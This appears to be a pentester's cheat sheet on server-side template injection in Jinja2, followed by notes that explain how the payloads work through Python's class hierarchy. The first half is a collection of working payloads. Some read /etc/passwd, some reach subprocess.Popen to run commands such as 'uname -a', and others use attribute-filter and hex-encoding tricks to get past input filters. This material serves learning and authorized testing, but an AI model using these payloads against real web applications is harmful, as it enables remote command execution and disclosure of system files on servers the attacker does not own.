Basic Tests
{{7*7}}
{{ ''.__class__ }}
Remote Code Execution
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
Filter Evasion
# Jinja (Python)
{% set string = "ssti" %}
{% set class = "__class__" %}
{% set mro = "__mro__" %}
{% set subclasses = "__subclasses__" %}
{% set mro_r = string|attr(class)|attr(mro) %} # Access Subprocess Popen class
{% set subclasses_r = mro_r[1]|attr(subclasses)() %}
{{ subclasses_r[420](["/usr/bin/touch","/tmp/das-ist-walter"]) }}
{% set class = "\x5f\x5fmro\x5f\x5f"%} # Filter evasion through encoding values
Source: https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f
Dumping Contents
{{''.__class__.__mro__[2].__subclasses__()[233]('uname -a',shell=True,stdout=-1).communicate()[0].strip()}} # From https://gist.github.com/mgeeky/fd994a067e3407fd87e8c224e65df8d8
{% set string = "ssti" %}
{% set class = "__class__" %}
{% set mro = "__mro__" %}
{% set subclasses = "__subclasses__" %}
{% set mro_r = string|attr(class)|attr(mro) %}
{% set subclasses_r = mro_r[1]|attr(subclasses)() %}
{{ subclasses_r[1153](['uname', '-a'], stdout=-1).communicate()}} # Use stdout=-1 to dump all contents to response
==========================================================================
Theory
Templating Engines
- Render a static file dynamically based on the context of the request and user.
- A templating engine leverages delimiters so developers can tell the engine where a template block starts and ends.
- Cross-site scripting vulnerabilities might also hint at an SSTI vulnerability since user-provided code is being entered into an unsanitized field.
- Common Jinja Payload:
## Python 2.7 only {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} (Replace mro[1] if using Python 3)
Dissecting the Jinja Payload
- ’’ –> Empty String
- class –> Class attribute, which returns str (string)
- mro –> Method Resolution Order
- A tuple of classes that are considered when looking for base classes during method resolution.
- In Python, a class can inherit from other classes.
- The mro attribute returned a tuple of classes in the order that an attribute would be searched for.
(<class '__main__.Strawberry'>, <class '__main__.Fruit'>, <class '__main__.Food'>, <class 'object'>)
- As of Python 3, whenever a class is created, the built-in object class is inherited.
- subclasses() –> Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive.
- subclasses()[40] –> The file subclass with a read function
- (‘/etc/passwd’).read()
